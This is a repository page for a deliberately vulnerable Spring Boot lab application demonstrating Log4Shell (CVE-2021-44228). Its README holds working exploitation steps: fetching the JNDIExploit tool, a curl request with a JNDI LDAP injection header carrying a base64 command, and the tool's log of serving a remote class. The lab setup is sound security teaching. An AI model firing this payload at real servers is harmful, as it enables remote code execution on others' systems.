borekon/log4shell-vulnerable-app
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228).
22 Commits 1 Branch 0 Tags 35 MiB
Java 74.7%
Dockerfile 25.3%
c962aabb31
Go to file
Christophe Tafani-Dereeper c962aabb31
Create FUNDING.yml
2022-12-14 09:48:45 +01:00
.github Create FUNDING.yml 2022-12-14 09:48:45 +01:00
gradle/wrapper Initial commit 2021-12-10 13:48:21 +01:00
src/main Remove unused files and rename packages 2021-12-10 14:06:19 +01:00
.gitignore Initial commit 2021-12-10 13:48:21 +01:00
build.gradle Remove unused files and rename packages 2021-12-10 14:06:19 +01:00
Dockerfile Use 7.3.1-jdk17 docker image to support non-amd64 arch 2021-12-11 00:27:02 +01:00
gradlew Initial commit 2021-12-10 13:48:21 +01:00
gradlew.bat Initial commit 2021-12-10 13:48:21 +01:00
LICENSE Add license (closes request in #16) 2021-12-14 18:09:31 +01:00
README.md Pin Docker image SHA256 2022-09-29 13:01:50 +02:00
screenshot.png Add screenshot 2021-12-10 13:50:35 +01:00
settings.gradle Remove unused files and rename packages 2021-12-10 14:06:19 +01:00

README.md

Log4Shell sample vulnerable application (CVE-2021-44228)

This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

It uses Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181.

Running the application

Run it:

docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Exploitation steps

Note: This is highly inspired from the original LunaSec advisory. Run at your own risk, preferably in a VM in a sandbox environment.

Update (Dec 13th): The JNDIExploit repository has been removed from GitHub (presumably, not by GitHub)... Click Here to Download the version cached by the Wayback Machine.

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Then, trigger the exploit using:
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • To confirm that the code execution was successful, notice that the file /tmp/pwned.txt was created in the container running the vulnerable application:
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Reference

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Contributors

@christophetd @rayhan0x01